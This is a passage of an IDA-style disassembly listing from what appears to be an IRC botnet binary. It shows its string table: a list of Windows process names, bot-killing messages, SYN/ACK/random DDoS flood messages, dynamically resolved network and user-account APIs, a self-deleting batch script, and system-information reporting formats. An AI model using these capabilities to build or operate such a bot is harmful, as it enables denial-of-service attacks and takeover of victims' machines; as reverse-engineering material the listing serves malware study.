; DATA XREF: .data:0041F598o aTcmsetup_exe db 'tcmsetup.exe',0 ; DATA XREF: .data:0041F59Co align 4 aTcpsvcs_exe db 'tcpsvcs.exe',0 ; DATA XREF: .data:0041F5A0o aTelnet_exe db 'telnet.exe',0 ; DATA XREF: .data:0041F5A4o align 4 aTftp_exe db 'tftp.exe',0 ; DATA XREF: .data:0041F5A8o align 10h aTlntadmn_exe db 'tlntadmn.exe',0 ; DATA XREF: .data:0041F5ACo align 10h aTlntsess_exe db 'tlntsess.exe',0 ; DATA XREF: .data:0041F5B0o align 10h aTlntsvr_exe db 'tlntsvr.exe',0 ; DATA XREF: .data:0041F5B4o aTourstart_exe db 'tourstart.exe',0 ; DATA XREF: .data:0041F5B8o align 4 aTracerpt_exe db 'tracerpt.exe',0 ; DATA XREF: .data:0041F5BCo align 4 aTracert_exe db 'tracert.exe',0 ; DATA XREF: .data:0041F5C0o aTracert6_exe db 'tracert6.exe',0 ; DATA XREF: .data:0041F5C4o align 4 aTscon_exe db 'tscon.exe',0 ; DATA XREF: .data:0041F5C8o align 4 aTscupgrd_exe db 'tscupgrd.exe',0 ; DATA XREF: .data:0041F5CCo align 4 aTsdiscon_exe db 'tsdiscon.exe',0 ; DATA XREF: .data:0041F5D0o align 4 aTskill_exe db 'tskill.exe',0 ; DATA XREF: .data:0041F5D4o align 10h aTsshutdn_exe db 'tsshutdn.exe',0 ; DATA XREF: .data:0041F5D8o align 10h aTypeperf_exe db 'typeperf.exe',0 ; DATA XREF: .data:0041F5DCo align 10h aUnlodctr_exe db 'unlodctr.exe',0 ; DATA XREF: .data:0041F5E0o align 10h aUpnpcont_exe db 'upnpcont.exe',0 ; DATA XREF: .data:0041F5E4o align 10h aUps_exe db 'ups.exe',0 ; DATA XREF: .data:0041F5E8o aUser_exe db 'user.exe',0 ; DATA XREF: .data:0041F5ECo align 4 aUserinit_exe db 'userinit.exe',0 ; DATA XREF: .data:0041F5F0o align 4 aUsrmlnka_exe db 'usrmlnka.exe',0 ; DATA XREF: .data:0041F5F4o align 4 aUsrprbda_exe db 'usrprbda.exe',0 ; DATA XREF: .data:0041F5F8o align 4 aUsrshuta_exe db 'usrshuta.exe',0 ; DATA XREF: .data:0041F5FCo align 4 aUtilman_exe db 'utilman.exe',0 ; DATA XREF: .data:0041F600o aVerclsid_exe db 'verclsid.exe',0 ; DATA XREF: .data:0041F604o align 10h aVerifier_exe db 'verifier.exe',0 ; DATA XREF: .data:0041F608o align 10h aViral_exe db 'viral.exe',0 ; DATA XREF: .data:0041F60Co align 4 aVssadmin_exe db 'vssadmin.exe',0 ; DATA XREF: .data:0041F610o align 4 aVssvc_exe db 'vssvc.exe',0 ; DATA XREF: .data:0041F614o align 4 aVwipxspx_exe db 'vwipxspx.exe',0 ; DATA XREF: .data:0041F618o align 4 aW32tm_exe db 'w32tm.exe',0 ; DATA XREF: .data:0041F61Co align 4 aWextract_exe db 'wextract.exe',0 ; DATA XREF: .data:0041F620o align 4 aWiaacmgr_exe db 'wiaacmgr.exe',0 ; DATA XREF: .data:0041F624o align 4 aWinchat_exe db 'winchat.exe',0 ; DATA XREF: .data:0041F628o aWindbver_exe db 'WINDBVER.EXE',0 ; DATA XREF: .data:0041F62Co align 10h aWinhlp32_exe db 'winhlp32.exe',0 ; DATA XREF: .data:0041F630o align 10h aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: .data:0041F634o align 10h aWinmine_exe db 'winmine.exe',0 ; DATA XREF: .data:0041F638o aWinmsd_exe db 'winmsd.exe',0 ; DATA XREF: .data:0041F63Co align 4 aWinspool_exe db 'winspool.exe',0 ; DATA XREF: .data:0041F640o align 4 aWinver_exe db 'winver.exe',0 ; DATA XREF: .data:0041F644o align 4 aWjview_exe db 'wjview.exe',0 ; DATA XREF: .data:0041F648o align 10h aWowdeb_exe db 'wowdeb.exe',0 ; DATA XREF: .data:0041F64Co align 4 aWowexec_exe db 'wowexec.exe',0 ; DATA XREF: .data:0041F650o aWpabaln_exe db 'wpabaln.exe',0 ; DATA XREF: .data:0041F654o aWpnpinst_exe db 'wpnpinst.exe',0 ; DATA XREF: .data:0041F658o align 4 aWrite_exe db 'write.exe',0 ; DATA XREF: .data:0041F65Co align 10h aWscntfy_exe db 'wscntfy.exe',0 ; DATA XREF: .data:0041F660o aWscript_exe db 'wscript.exe',0 ; DATA XREF: .data:0041F664o aWuauclt_exe db 'wuauclt.exe',0 ; DATA XREF: .data:0041F668o aWuauclt1_exe db 'wuauclt1.exe',0 ; DATA XREF: .data:0041F66Co align 4 aWupdmgr_exe db 'wupdmgr.exe',0 ; DATA XREF: .data:0041F670o aXcopy_exe db 'xcopy.exe',0 ; DATA XREF: .data:0041F674o align 4 aAcdsee_scr db 'ACDSee.scr',0 ; DATA XREF: .data:0041F678o align 4 aLogon_scr db 'logon.scr',0 ; DATA XREF: .data:0041F67Co align 4 aScrnsave_scr db 'scrnsave.scr',0 ; DATA XREF: .data:0041F680o align 4 aSeismosaver_sc db 'SeismoSaver.scr',0 ; DATA XREF: .data:0041F684o aSs3dfo_scr db 'ss3dfo.scr',0 ; DATA XREF: .data:0041F688o align 10h aSsbezier_scr db 'ssbezier.scr',0 ; DATA XREF: .data:0041F68Co align 10h aSsflwbox_scr db 'ssflwbox.scr',0 ; DATA XREF: .data:0041F690o align 10h aSsmarque_scr db 'ssmarque.scr',0 ; DATA XREF: .data:0041F694o align 10h aSsmypics_scr db 'ssmypics.scr',0 ; DATA XREF: .data:0041F698o align 10h aSsmyst_scr db 'ssmyst.scr',0 ; DATA XREF: .data:0041F69Co align 4 aSspipes_scr db 'sspipes.scr',0 ; DATA XREF: .data:0041F6A0o aSsstars_scr db 'ssstars.scr',0 ; DATA XREF: .data:0041F6A4o aSstext3d_scr db 'sstext3d.scr',0 ; DATA XREF: .data:0041F6A8o align 4 aAlcrmv_exe db 'alcrmv.exe',0 ; DATA XREF: .data:off_41F6ACo align 10h aAlcupd_exe db 'alcupd.exe',0 ; DATA XREF: .data:0041F6B0o align 4 aExplorer_exe_0 db 'explorer.exe',0 ; DATA XREF: .data:0041F6B4o align 4 aHh_exe db 'hh.exe',0 ; DATA XREF: .data:0041F6B8o align 4 aIsuninst_exe db 'IsUninst.exe',0 ; DATA XREF: .data:0041F6BCo align 4 aIun6002_exe db 'iun6002.exe',0 ; DATA XREF: .data:0041F6C0o aNotepad_exe_0 db 'NOTEPAD.EXE',0 ; DATA XREF: .data:0041F6C4o aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .data:0041F6C8o aRegtlib_exe db 'REGTLIB.EXE',0 ; DATA XREF: .data:0041F6CCo aSetdebug_exe db 'setdebug.exe',0 ; DATA XREF: .data:0041F6D0o align 4 aSetup1_exe db 'Setup1.exe',0 ; DATA XREF: .data:0041F6D4o align 10h aSoundman_exe db 'SOUNDMAN.EXE',0 ; DATA XREF: .data:0041F6D8o align 10h aSt6unst_exe db 'ST6UNST.EXE',0 ; DATA XREF: .data:0041F6DCo aTaskman_exe_0 db 'TASKMAN.EXE',0 ; DATA XREF: .data:0041F6E0o aTwunk_16_exe db 'twunk_16.exe',0 ; DATA XREF: .data:0041F6E4o align 4 aTwunk_32_exe db 'twunk_32.exe',0 ; DATA XREF: .data:0041F6E8o align 4 aWinhelp_exe db 'winhelp.exe',0 ; DATA XREF: .data:0041F6ECo aWinhlp32_exe_0 db 'winhlp32.exe',0 ; DATA XREF: .data:0041F6F0o align 4 aSystem db 'System',0 ; DATA XREF: .data:0041F6F4o align 4 ; char aSS_2[] aSS_2 db '%s\%s',0 ; DATA XREF: sub_405CF2+Fo align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_405D52+CBo align 4 ; char aErrorTerminati[] aErrorTerminati db 'Error terminating: %s (pid: %d)!',0 ; DATA XREF: sub_405D52+222o align 4 ; char aSS_3[] aSS_3 db '%s\%s',0 ; DATA XREF: sub_405D52+28Ao align 4 ; char aBotKilledAndRe[] aBotKilledAndRe db 'Bot killed and removed: %s (pid: %d)!',0 ; DATA XREF: sub_405D52+317o align 4 ; char aCanNotDeleteSP[] aCanNotDeleteSP db 'Can not delete: %s (pid: %d)!',0 ; DATA XREF: sub_405D52+33Ao align 4 ; char aErrorTermina_0[] aErrorTermina_0 db 'Error terminating: %s (pid: %d)!',0 ; DATA XREF: sub_405D52+443o align 10h ; char aSS_4[] aSS_4 db '%s\%s',0 ; DATA XREF: sub_405D52+4ABo align 4 ; char aBotKilledAnd_0[] aBotKilledAnd_0 db 'Bot killed and removed: %s (pid: %d)!',0 ; DATA XREF: sub_405D52+538o align 10h ; char aCanNotDelete_0[] aCanNotDelete_0 db 'Can not delete: %s (pid: %d)!',0 ; DATA XREF: sub_405D52+55Bo align 10h aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_405D52+5B1o align 4 ; char aYouCantSendPac[] aYouCantSendPac db 'You cant send packets for 0 seconds.',0 ; DATA XREF: sub_40634F+82o align 4 ; char aDdosErrorWsada[] aDdosErrorWsada db '[DDOS] Error WSAData.',0 ; DATA XREF: sub_40634F+F2o align 4 ; char aDdosErrorCalli[] aDdosErrorCalli db '[DDOS] Error calling socket().',0 ; DATA XREF: sub_40634F+170o align 4 ; char aDdosErrorCal_0[] aDdosErrorCal_0 db '[DDOS] Error calling setsockopt(). fWSAGetLastError() returns %d.' ; DATA XREF: sub_40634F+20Bo db 0 align 4 ; char aDdosInvalidTar[] aDdosInvalidTar db '[DDOS] :Invalid target IP.',0 ; DATA XREF: sub_40634F+291o align 4 ; char aDdosSendingPac[] aDdosSendingPac db '[DDOS] :Sending packets to %s...',0 ; DATA XREF: sub_40634F+33Co align 4 ; char aD_D_D_D_0[] aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40634F+406o ; char aDdos_syn[] aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_40634F+4C2o align 10h ; char aDdos_ack[] aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_40634F:loc_406835o align 4 ; char aDdos_random[] aDdos_random db 'ddos.random',0 ; DATA XREF: sub_40634F:loc_406859o ; char aDdosErrorSendi[] aDdosErrorSendi db '[DDOS] :Error sending packets to %s. eax=SOCKET_ERROR, fWSAGetLas' ; DATA XREF: sub_40634F+6A1o db 'tError()=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 align 4 ; char aDdosFinishedSe[] aDdosFinishedSe db '[DDOS] :Finished sending packets to %s. Sent %d packet(s). ~%dMB ' ; DATA XREF: sub_40634F+75Bo db 'of data sent (~%dK/s).',0 ; char aYouCantSendP_0[] aYouCantSendP_0 db 'You cant send packets for 0 seconds.',0 ; DATA XREF: sub_406B0C+38o align 4 ; char aDdosErrorCal_1[] aDdosErrorCal_1 db '[DDOS] Error calling socket().',0 ; DATA XREF: sub_406B0C+B0o align 4 ; char aDdosErrorCal_2[] aDdosErrorCal_2 db '[DDOS] Error calling setsockopt(). fWSAGetLastError() returns %d.' ; DATA XREF: sub_406B0C+145o db 0 align 10h ; char aDdosInvalidT_0[] aDdosInvalidT_0 db '[DDOS] :Invalid target IP.',0 ; DATA XREF: sub_406B0C+1C5o align 4 ; char aDdosSendingP_0[] aDdosSendingP_0 db '[DDOS] :Sending packets to %s...',0 ; DATA XREF: sub_406B0C+26Ao align 10h ; char aD_D_D_D_1[] aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_406B0C+334o ; char aDdosErrorSen_0[] aDdosErrorSen_0 db '[DDOS] :Error sending packets to %s. eax=SOCKET_ERROR, fWSAGetLas' ; DATA XREF: sub_406B0C+465o db 'tError()=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 align 10h ; char aDdosFinished_0[] aDdosFinished_0 db '[DDOS] :Finished sending packets to %s. Sent %d packet(s). ~%dMB ' ; DATA XREF: sub_406B0C+51Fo db 'of data sent (~%dK/s).',0 ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_407087+6o align 4 ; char ProcName[] ProcName db 'SetErrorMode',0 ; DATA XREF: sub_407087+1Eo align 4 ; char aCreatetoolhelp[] aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_407087+31o align 4 ; char aProcess32first[] aProcess32first db 'Process32First',0 ; DATA XREF: sub_407087+44o align 4 ; char aProcess32next[] aProcess32next db 'Process32Next',0 ; DATA XREF: sub_407087+57o align 4 ; char aModule32first[] aModule32first db 'Module32First',0 ; DATA XREF: sub_407087+6Ao align 4 ; char aGetdiskfreespa[] aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_407087+7Do ; char aGetlogicaldriv[] aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_407087+90o ; char aGetdrivetypea[] aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_407087+A3o align 10h ; char aSearchpatha[] aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_407087+B6o ; char aQueryperforman[] aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_407087+C9o ; char aQueryperform_0[] aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_407087+DCo align 10h ; char aRegisterservic[] aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_407087:loc_4071DAo align 4 ; char LibFileName[] LibFileName db 'user32.dll',0 ; DATA XREF: sub_407087:loc_407217o align 4 ; char aSendmessagea[] aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_407087+1A8o align 4 ; char aFindwindowa[] aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_407087+1BBo ; char aIswindow[] aIswindow db 'IsWindow',0 ; DATA XREF: sub_407087+1CEo align 4 ; char aDestroywindow[] aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_407087+1E1o align 4 ; char aOpenclipboard[] aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_407087+1F4o align 4 ; char aGetclipboardda[] aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_407087+207o align 10h ; char aCloseclipboard[] aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_407087+21Ao align 10h ; char aExitwindowsex[] aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_407087+22Do align 10h ; char aAdvapi32_dll[] aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_407087:loc_407330o align 10h ; char aRegopenkeyexa[] aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_407087+2C1o align 10h ; char aRegcreatekeyex[] aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_407087+2D4o ; char aRegsetvalueexa[] aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_407087+2E7o align 10h ; char aRegqueryvaluee[] aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_407087+2FAo align 4 ; char aRegdeletevalue[] aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_407087+30Do ; char aRegclosekey[] aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_407087+320o ; char aOpenprocesstok[] aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_407087:loc_4073FAo align 4 ; char aLookupprivileg[] aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_407087+386o align 4 ; char aAdjusttokenpri[] aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_407087+399o align 4 ; char aGetusernamea[] aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_407087:loc_407458o align 4 ; char aGdi32_dll[] aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_407087:loc_407495o align 10h ; char aCreatedca[] aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_407087+426o align 4 ; char aCreatedibsecti[] aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_407087+439o align 10h ; char aCreatecompatib[] aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_407087+44Co align 4 ; char aGetdevicecaps[] aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_407087+45Fo align 4 ; char aGetdibcolortab[] aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_407087+472o align 4 ; char aSelectobject[] aSelectobject db 'SelectObject',0 ; DATA XREF: sub_407087+485o align 4 ; char aBitblt[] aBitblt db 'BitBlt',0 ; DATA XREF: sub_407087+498o align 10h ; char aDeletedc[] aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_407087+4ABo align 4 ; char aDeleteobject[] aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_407087+4BEo align 4 ; char aWs2_32_dll[] aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_407087:loc_4075CAo align 4 ; char aWsastartup[] aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_407087+55Bo align 4 ; char aWsasocketa[] aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_407087+56Eo align 10h ; char aWsaasyncselect[] aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_407087+581o align 10h ; char a__wsafdisset[] a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_407087+594o align 10h ; char aWsaioctl[] aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_407087+5A7o align 4 ; char aWsagetlasterro[] aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_407087+5BAo ; char aWsacleanup[] aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_407087+5CDo align 4 ; char aSocket[] aSocket db 'socket',0 ; DATA XREF: sub_407087+5E0o align 10h ; char aIoctlsocket[] aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_407087+5F3o ; char aConnect[] aConnect db 'connect',0 ; DATA XREF: sub_407087+606o ; char aInet_ntoa[] aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_407087+619o align 10h ; char aInet_addr[] aInet_addr db 'inet_addr',0 ; DATA XREF: sub_407087+62Co align 4 ; char aHtons[] aHtons db 'htons',0 ; DATA XREF: sub_407087+63Fo align 4 ; char aHtonl[] aHtonl db 'htonl',0 ; DATA XREF: sub_407087+652o align 4 ; char aNtohs[] aNtohs db 'ntohs',0 ; DATA XREF: sub_407087+665o align 4 ; char aNtohl[] aNtohl db 'ntohl',0 ; DATA XREF: sub_407087+678o align 4 ; char aSend[] aSend db 'send',0 ; DATA XREF: sub_407087+68Bo align 4 ; char aSendto[] aSendto db 'sendto',0 ; DATA XREF: sub_407087+69Eo align 4 ; char aRecv[] aRecv db 'recv',0 ; DATA XREF: sub_407087+6B1o align 4 ; char aRecvfrom[] aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_407087+6C4o align 10h ; char aBind[] aBind db 'bind',0 ; DATA XREF: sub_407087+6D7o align 4 ; char aSelect[] aSelect db 'select',0 ; DATA XREF: sub_407087+6EAo align 10h ; char aListen[] aListen db 'listen',0 ; DATA XREF: sub_407087+6FDo align 4 ; char aAccept[] aAccept db 'accept',0 ; DATA XREF: sub_407087+710o align 10h ; char aSetsockopt[] aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_407087+723o align 4 ; char aGetsockname[] aGetsockname db 'getsockname',0 ; DATA XREF: sub_407087+736o ; char aGethostname[] aGethostname db 'gethostname',0 ; DATA XREF: sub_407087+749o ; char aGethostbyname[] aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_407087+75Co align 4 ; char aGethostbyaddr[] aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_407087+76Fo align 4 ; char aGetpeername[] aGetpeername db 'getpeername',0 ; DATA XREF: sub_407087+782o ; char aClosesocket[] aClosesocket db 'closesocket',0 ; DATA XREF: sub_407087+795o ; char aWininet_dll[] aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_407087:loc_407980o ; char aInternetgetcon[] aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_407087+911o align 4 ; char aInternetgetc_0[] aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_407087+924o ; char aHttpopenreques[] aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_407087+937o align 4 ; char aHttpsendreques[] aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_407087+94Ao align 4 ; char aInternetconnec[] aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_407087+95Do align 4 ; char aInternetopena[] aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_407087+970o align 4 ; char aInternetopenur[] aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_407087+983o align 10h ; char aInternetcracku[] aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_407087+996o align 4 ; char aInternetreadfi[] aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_407087+9A9o align 4 ; char aInternetcloseh[] aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_407087+9BCo aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_407087+A44o align 4 ; char aNetapi32_dll[] aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_407087:loc_407B09o align 4 ; char aNetshareadd[] aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_407087+A9Ao ; char aNetsharedel[] aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_407087+AADo ; char aNetshareenum[] aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_407087+AC0o align 10h ; char aNetschedulejob[] aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_407087+AD3o align 4 ; char aNetapibufferfr[] aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_407087+AE6o align 4 ; char aNetremotetod[] aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_407087+AF9o align 4 ; char aNetuseradd[] aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_407087+B0Co align 4 ; char aNetuserdel[] aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_407087+B1Fo align 10h ; char aNetuserenum[] aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_407087+B32o ; char aNetusergetinfo[] aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_407087+B45o align 4 ; char aNetmessagebuff[] aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_407087+B58o align 4 ; char aDnsapi_dll[] aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_407087:loc_407C76o align 10h ; char aDnsflushresolv[] aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_407087+C03o align 4 ; char aDnsflushreso_0[] aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_407087+C16o align 4 ; char aIphlpapi_dll[] aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_407087:loc_407CE3o align 4 ; char aGetipnettable[] aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_407087+C70o align 4 ; char aDeleteipnetent[] aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_407087+C83o align 4 ; char aMpr_dll[] aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_407087:loc_407D50o ; char aWnetaddconnect[] aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_407087+CDDo ; char aWnetaddconne_0[] aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_407087+CF0o ; char aWnetcancelconn[] aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_407087+D03o align 4 ; char aWnetcancelco_0[] aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_407087+D16o align 4 ; char aShell32_dll[] aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_407087:loc_407DF5o ; char aShellexecutea[] aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_407087+D82o align 4 ; char aShchangenotify[] aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_407087+D95o align 4 ; char aOdbc32_dll[] aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_407087:loc_407E62o align 4 ; char aSqldriverconne[] aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_407087+DF3o align 4 ; char aSqlsetenvattr[] aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_407087+E06o align 4 ; char aSqlexecdirect[] aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_407087+E19o align 4 ; char aSqlallochandle[] aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_407087+E2Co align 4 ; char aSqlfreehandle[] aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_407087+E3Fo align 4 ; char aSqldisconnect[] aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_407087+E52o align 4 ; char aSErrorSD_[] aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40834A+A3o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40840B+8o align 4 ; char Name[] Name db 'mIRC',0 ; DATA XREF: sub_40840B+1Co align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4084A5+19o align 4 aSS_5 db '%s %s',0 ; DATA XREF: .text:004085D3o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_408626+5o ; char aSdel_bat[] aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_408651+41o align 4 ; char a[] a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_408651+8Bo db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 ; char aComspecCSS[] aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_408651+16Eo align 10h a_: ; DATA XREF: .text:00408852o unicode 0, <.>,0 a__0: ; DATA XREF: .text:00408877o unicode 0, <.>,0 ; char aD_D_D_D_2[] aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40892F+42o ; char aDdDhDm[] aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_408A81+70o a95 db '95',0 ; DATA XREF: sub_408C2B+46o align 4 aNt db 'NT',0 ; DATA XREF: sub_408C2B+59o align 4 a98 db '98',0 ; DATA XREF: sub_408C2B+7Ao align 4 aMe db 'ME',0 ; DATA XREF: sub_408C2B+9Bo align 10h a2k db '2K',0 ; DATA XREF: sub_408C2B+B9o align 4 aXp db 'XP',0 ; DATA XREF: sub_408C2B+D7o align 4 a2003 db '2003',0 ; DATA XREF: sub_408C2B+F5o align 10h a??? db '???',0 ; DATA XREF: sub_408C2B:loc_408D2Co ; char aSS_6[] aSS_6 db '%s (%s)',0 ; DATA XREF: sub_408C2B+12Co word_4216EC dw 3Fh ; DATA XREF: sub_408C2B+156r align 10h ; char aCouldnTResolve[] aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_408C2B:loc_408E08o align 4 ; char Format[] Format db 'dd:MMM:yyyy',0 ; DATA XREF: sub_408C2B+20Bo ; char aHhMmSs[] aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_408C2B+228o align 10h ; char aSysinfoCpuI64u[] aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [OS]: Windows %s (%d.%d, Build %d). [' ; DATA XREF: sub_408C2B+2B1o db 'Sysdir]: %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s.' db ' [Time]: %s. [Uptime]: %s.',0 align 10h ; char aNotConnected[] aNotConnected db 'Not connected',0 ; DATA XREF: sub_408EF7+41o align 10h ; char aDialUp[] aDialUp db 'Dial-up',0 ; DATA XREF: sub_408EF7+5Eo ; char aLan[] aLan db 'LAN',0 ; DATA XREF: sub_408EF7:loc_408F6Ao ; char off_4217DC[] off_4217DC dd offset loc_412F4B+3 ; DATA XREF: sub_408EF7:loc_408F7Fo ; char off_4217E0[] off_4217E0 dd offset loc_412F4B+3 ; DATA XREF: sub_408EF7+9Bo ; char aNetinfoTypeSS_[] aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_408EF7+C3o align 4 aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_40909D+Eo align 4 ; char aD_SS[] aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40909D+69o ; char a_2d_2d4d_2d_2d[] a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40913D+7Do align 4 aLogs db '-[Logs]-',0 ; DATA XREF: .text:00409227o align 10h dword_421870 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_409303+34o dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_421898 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_409303:loc_40934Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_4218C0 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4093A7+42o dd 2BBBB02h, 65422020h, 6E6967h ; char dword_4218E0 dword_4218E0 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4093A7:loc_4094EEo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 2 dup(0) dword_421910 dd 80000002h 